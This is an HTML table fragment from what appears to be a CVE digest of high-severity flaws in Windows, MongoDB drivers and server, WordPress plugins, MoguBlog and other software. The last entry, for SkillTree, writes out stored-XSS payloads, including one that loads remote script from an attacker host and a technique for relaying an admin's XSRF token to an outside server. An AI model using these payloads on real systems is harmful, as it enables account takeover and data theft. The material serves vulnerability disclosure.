&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77899&quot; target=&quot;_blank&quot;&gt;CVE-2026-77899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Security Health Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78457&quot; target=&quot;_blank&quot;&gt;CVE-2026-78457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78464&quot; target=&quot;_blank&quot;&gt;CVE-2026-78464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83952&quot; target=&quot;_blank&quot;&gt;CVE-2026-83952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83999&quot; target=&quot;_blank&quot;&gt;CVE-2026-83999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 26H1&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83939&quot; target=&quot;_blank&quot;&gt;CVE-2026-83939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 26H1&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69544&quot; target=&quot;_blank&quot;&gt;CVE-2026-69544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 26H1&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69617&quot; target=&quot;_blank&quot;&gt;CVE-2026-69617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2012&lt;/td&gt;
&lt;td&gt;Use after free in Windows Services for NFS ONCRPC XDR Driver allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69595&quot; target=&quot;_blank&quot;&gt;CVE-2026-69595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2012&lt;/td&gt;
&lt;td&gt;Use after free in Windows Services for NFS ONCRPC XDR Driver allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78445&quot; target=&quot;_blank&quot;&gt;CVE-2026-78445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2012&lt;/td&gt;
&lt;td&gt;Use after free in Windows Key Distribution Center allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69712&quot; target=&quot;_blank&quot;&gt;CVE-2026-69712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2012&lt;/td&gt;
&lt;td&gt;Use after free in Windows Services for NFS ONCRPC XDR Driver allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70585&quot; target=&quot;_blank&quot;&gt;CVE-2026-70585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2022&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69858&quot; target=&quot;_blank&quot;&gt;CVE-2026-69858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows Server 2025&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72928&quot; target=&quot;_blank&quot;&gt;CVE-2026-72928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Xbox Gaming Services&lt;/td&gt;
&lt;td&gt;Improper authorization in XBox Gaming Services allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58611&quot; target=&quot;_blank&quot;&gt;CVE-2026-58611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mlfactory--Shirt Product Designer for WooCommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Shirt Product Designer for WooCommerce 1.0.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81794&quot; target=&quot;_blank&quot;&gt;CVE-2026-81794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moltis-org--moltis&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in moltis-org moltis up to 20260818.10. The affected element is the function vault_unlock_handler/vault_recovery_handler of the file vault.rs. Such manipulation leads to missing authentication. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 20260819.01 is sufficient to fix this issue. The name of the patch is 3b92dd64d5648f829968cf48bf67dc3113852fef. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86808&quot; target=&quot;_blank&quot;&gt;CVE-2026-86808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88036&quot; target=&quot;_blank&quot;&gt;CVE-2026-88036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C# Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88025&quot; target=&quot;_blank&quot;&gt;CVE-2026-88025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C++ Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C++ Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88034&quot; target=&quot;_blank&quot;&gt;CVE-2026-88034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Go Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Go Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88031&quot; target=&quot;_blank&quot;&gt;CVE-2026-88031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Java Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Java Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88033&quot; target=&quot;_blank&quot;&gt;CVE-2026-88033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Laravel MongoDB (PHP)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the MongoDB integration for Laravel can cause an array supplied to an explicit equality filter to be interpreted as a query condition rather than as a literal value. This affects the three-argument `where` method when the operator is `=` or `eq`, as well as the `find` and `delete` methods that use that code path. An attacker who can cause an affected application to supply an operator-shaped array to one of these APIs may obtain a document other than the intended target or delete documents beyond the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88022&quot; target=&quot;_blank&quot;&gt;CVE-2026-88022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Laravel MongoDB (PHP)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the embedded-document relation handling of the MongoDB integration for Laravel can cause a caller-supplied embedded record identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence such an identifier may delete all embedded documents in a targeted record or overwrite an embedded document other than the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88027&quot; target=&quot;_blank&quot;&gt;CVE-2026-88027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB PHP Library&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88023&quot; target=&quot;_blank&quot;&gt;CVE-2026-88023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue exists in MongoDB&#039;s LDAP authorization integration where pooled LDAP connections can retain stale authentication identities after user authentication under certain configurations. Subsequent authorization queries may execute under an unintended LDAP identity rather than the expected one. This can result in incorrect role assignments based on the LDAP directory&#039;s access control configuration, potentially allowing an authenticated user to acquire elevated privileges that were not intended by the deployment&#039;s authorization policy.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82053&quot; target=&quot;_blank&quot;&gt;CVE-2026-82053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A use-after-free security issue exists in the server&#039;s query execution memory tracking subsystem. An authenticated user with read privileges can trigger a write to freed heap memory through a sequence of standard database commands, leading to server process crash or potential memory corruption. No user interaction is required.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82061&quot; target=&quot;_blank&quot;&gt;CVE-2026-82061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;Improper handling of case sensitivity in the configuration validation component of MongoDB Server may cause the authorization subsystem to remain in a default disabled state during server startup. An unauthenticated user with network access to a deployment where this condition occurs can perform arbitrary administrative operations, resulting in full impact of data confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82067&quot; target=&quot;_blank&quot;&gt;CVE-2026-82067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;Insufficient validation of storage engine configuration options in MongoDB Server allows an authenticated user with write privileges to supply crafted parameters during collection creation that override internal storage metadata. This results in an out-of-bounds memory write in the server process, causing a denial of service via server crash, with potential for further impact including arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82071&quot; target=&quot;_blank&quot;&gt;CVE-2026-82071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in MongoDB Server allows an unauthenticated network user to cause a denial of service on a specific type of replica set member. The server contains an assertion in its read concern processing logic that can be reached without authentication, and the assertion&#039;s assumptions about internal state do not hold for all member configurations, causing the server process to terminate.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82064&quot; target=&quot;_blank&quot;&gt;CVE-2026-82064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;An uncontrolled resource consumption weakness exists in the request-handling path of the MongoDB sharded-cluster router process. A client that has network access to a router port and has not authenticated can supply connection-monitoring parameters that cause the server to expend CPU resources without any rate limiting, degrading or denying service to legitimate clients. No authentication, elevated privileges, or user interaction is required. Only availability is affected; data confidentiality and integrity are not impacted.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82075&quot; target=&quot;_blank&quot;&gt;CVE-2026-82075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A race condition in the document value layer of MongoDB Server can allow concurrent server threads to operate on the same internal memory without synchronization, leading to memory corruption. An authenticated user holding ordinary read-write privileges on a database may be able to trigger this condition over the normal client protocol, resulting in server termination and potential corruption of process memory with user-influenced content. Successful use of this issue may impact the confidentiality, integrity, and availability of the affected server process.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89099&quot; target=&quot;_blank&quot;&gt;CVE-2026-89099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Python Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Python Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88029&quot; target=&quot;_blank&quot;&gt;CVE-2026-88029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Ruby Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Ruby Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88030&quot; target=&quot;_blank&quot;&gt;CVE-2026-88030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Rust Driver&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88024&quot; target=&quot;_blank&quot;&gt;CVE-2026-88024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moritz Bunkus--MKVToolNix&lt;/td&gt;
&lt;td&gt;MKVToolNix through 101.0 contains a heap buffer overflow in the bundled avilib library&#039;s ODML superindex parser due to integer wraparound in 32-bit arithmetic. Attackers can craft a malicious AVI file with oversized entry counts that cause an undersized heap allocation, allowing a heap buffer overflow when the file is parsed with mkvmerge.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90783&quot; target=&quot;_blank&quot;&gt;CVE-2026-90783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 contains an XML external entity injection vulnerability in the WeChat callback handler at POST /wechat/wechatCheck. The WechatRestApi.index() method passes the raw request body to SignUtil.xmlToMap(), which uses an unhardened dom4j SAXReader without DTD or external-entity restrictions. Unauthenticated remote attackers can submit DOCTYPE declarations with external parameter entities to read arbitrary local files or trigger outbound HTTP requests, with resolved entities reflected in error responses.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89260&quot; target=&quot;_blank&quot;&gt;CVE-2026-89260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 contains an authorization bypass vulnerability in the comment deletion endpoint that performs ownership checks against request-body fields instead of the authenticated principal. Attackers can delete arbitrary comments and their replies by supplying comment UIDs and author UIDs obtained from unauthenticated listing endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89262&quot; target=&quot;_blank&quot;&gt;CVE-2026-89262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mulika--MIPL Grouped Checkout Fields for WooCommerce. Customize &amp;amp; Organize Checkout Fields.&lt;/td&gt;
&lt;td&gt;The MIPL Grouped Checkout Fields for WooCommerce - Customize &amp;amp; Organize Checkout Fields. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the `mipl_wc_upload_file` function in all versions up to, and including, 1.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site&#039;s server which may make remote code execution possible.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8778&quot; target=&quot;_blank&quot;&gt;CVE-2026-8778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;multiparty--multiparty&lt;/td&gt;
&lt;td&gt;multiparty is a Node.js library for parsing multipart/form-data request bodies. In versions from 2.1.0 up to but not including 4.3.1, the parser does not bound the amount of memory used while accumulating the headers of a single multipart part. An unauthenticated attacker can send a single request whose part carries a very large volume of header bytes, forcing the parser to buffer all of them and exhausting the process memory, which crashes the server. This is a denial of service with no confidentiality or integrity impact. The issue is fixed in multiparty 4.3.1, which caps the size of the accumulated part headers. Users should upgrade to multiparty 4.3.1 or later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87908&quot; target=&quot;_blank&quot;&gt;CVE-2026-87908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nasa-jpl--ION-DTN&lt;/td&gt;
&lt;td&gt;ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock() function in bpsec_util.c passes bundle-&amp;gt;payload.length to zco_clone() without validating it against zero, causing a failed CHKZERO assertion that triggers sm_Abort() and terminates the process with SIGABRT before any HMAC verification occurs, requiring no valid key or credential to exploit.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75584&quot; target=&quot;_blank&quot;&gt;CVE-2026-75584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NationalSecurityAgency--skills-service&lt;/td&gt;
&lt;td&gt;SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string - and all unfiltered plain values - via Vue&#039;s `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = &quot;&amp;lt;img src=x onerror=alert(1)&amp;gt;&quot;` (28 characters - within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `&amp;lt;img src=x onerror=alert(1)&amp;gt;`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin&#039;s browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = &quot;&amp;lt;img src=x&quot;`, `firstName = &quot;onerror=import(&#039;//nsas.cc/p&#039;)&amp;gt;&quot;`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action - delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim&#039;s browser, relaying the responses to an external server. No admin interaction beyond routine use is required. 